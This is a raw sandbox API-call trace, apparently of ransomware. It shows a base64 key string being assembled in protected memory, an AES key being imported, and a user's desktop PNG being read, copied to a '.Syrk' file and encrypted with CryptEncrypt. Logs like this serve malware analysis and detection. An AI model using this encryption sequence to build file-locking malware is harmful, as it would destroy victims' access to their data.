OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.086] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0189.086] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.086] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.086] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.086] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.086] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0189.086] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.087] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.087] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.087] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.087] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0189.087] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.087] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.087] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.087] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.087] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0189.087] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.088] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.088] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.088] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.088] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0189.088] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.088] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0189.088] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.089] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.089] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.089] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.089] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0189.089] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.089] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.089] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.089] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.089] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0189.089] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.090] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.090] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0189.090] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.090] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.090] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.090] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0189.090] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.091] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.091] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0189.091] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.091] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.091] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.091] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0189.092] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.092] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.092] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.092] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.092] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0189.092] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.092] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.093] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.093] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.093] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0189.093] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.093] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0189.093] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.093] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.093] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.093] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.093] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0189.093] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.094] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.094] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.094] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.094] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0189.094] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.094] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.094] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.094] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.094] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0189.094] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.095] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.095] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.095] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.095] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0189.095] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.095] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.095] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.095] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.095] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0189.095] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.096] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.096] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0189.096] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.096] SystemFunction041 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.096] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0189.097] SystemFunction040 (in: Memory=0x3c0afc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0afc) returned 0x0 [0189.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0189.099] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.099] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0189.099] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.100] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.100] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0189.100] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.100] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.100] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0189.100] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.101] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.101] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.101] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.101] EtwEventActivityIdControl () returned 0x0 [0189.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0189.101] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.102] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.102] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0189.104] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x373f80) returned 1 [0189.107] CryptImportKey (in: hProv=0x373f80, pbData=0x267df60*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68c00) returned 1 [0189.107] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.108] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.108] EtwEventActivityIdControl () returned 0x0 [0189.108] EtwEventActivityIdControl () returned 0x0 [0189.108] EtwEventActivityIdControl () returned 0x0 [0189.126] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0189.129] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png")) returned 0x20 [0189.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.130] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.130] EtwEventActivityIdControl () returned 0x0 [0189.131] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.132] EtwEventActivityIdControl () returned 0x0 [0189.132] EtwEventActivityIdControl () returned 0x0 [0189.132] EtwEventActivityIdControl () returned 0x0 [0189.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0189.136] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png", lpFilePart=0x0) returned 0x3f [0189.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.136] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3ac [0189.137] GetFileType (hFile=0x3ac) returned 0x1 [0189.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.137] GetFileType (hFile=0x3ac) returned 0x1 [0189.137] EtwEventActivityIdControl () returned 0x0 [0189.138] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.139] EtwEventActivityIdControl () returned 0x0 [0189.139] EtwEventActivityIdControl () returned 0x0 [0189.139] EtwEventActivityIdControl () returned 0x0 [0189.140] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0189.140] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk", lpFilePart=0x0) returned 0x44 [0189.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0189.141] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\2 KC0ZG1 RMrJoK_gY.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\2 kc0zg1 rmrjok_gy.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x460 [0189.148] GetFileType (hFile=0x460) returned 0x1 [0189.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0189.148] GetFileType (hFile=0x460) returned 0x1 [0189.148] EtwEventActivityIdControl () returned 0x0 [0189.148] CryptGenRandom (in: hProv=0x373f80, dwLen=0x10, pbBuffer=0x2690114 | out: pbBuffer=0x2690114) returned 1 [0189.150] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.150] CryptDuplicateKey (in: hKey=0x5c68c00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c68f40) returned 1 [0189.151] CryptContextAddRef (hProv=0x373f80, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.151] CryptSetKeyParam (hKey=0x5c68f40, dwParam=0x4, pbData=0x2691530*=0x1, dwFlags=0x0) returned 1 [0189.151] CryptSetKeyParam (hKey=0x5c68f40, dwParam=0x1, pbData=0x26914fc, dwFlags=0x0) returned 1 [0189.152] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.152] EtwEventActivityIdControl () returned 0x0 [0189.152] EtwEventActivityIdControl () returned 0x0 [0189.152] EtwEventActivityIdControl () returned 0x0 [0189.154] EtwEventActivityIdControl () returned 0x0 [0189.155] ReadFile (in: hFile=0x3ac, lpBuffer=0x2694198, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2694198*, lpNumberOfBytesRead=0x5a2ea0c*=0x99c4, lpOverlapped=0x0) returned 1 [0189.229] CryptEncrypt (in: hKey=0x5c68f40, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2329dc4*, pdwDataLen=0x5a2ea00*=0x99c0, dwBufLen=0x99c0 | out: pbData=0x2329dc4*, pdwDataLen=0x5a2ea00*=0x99c0) returned 1 [0189.230] 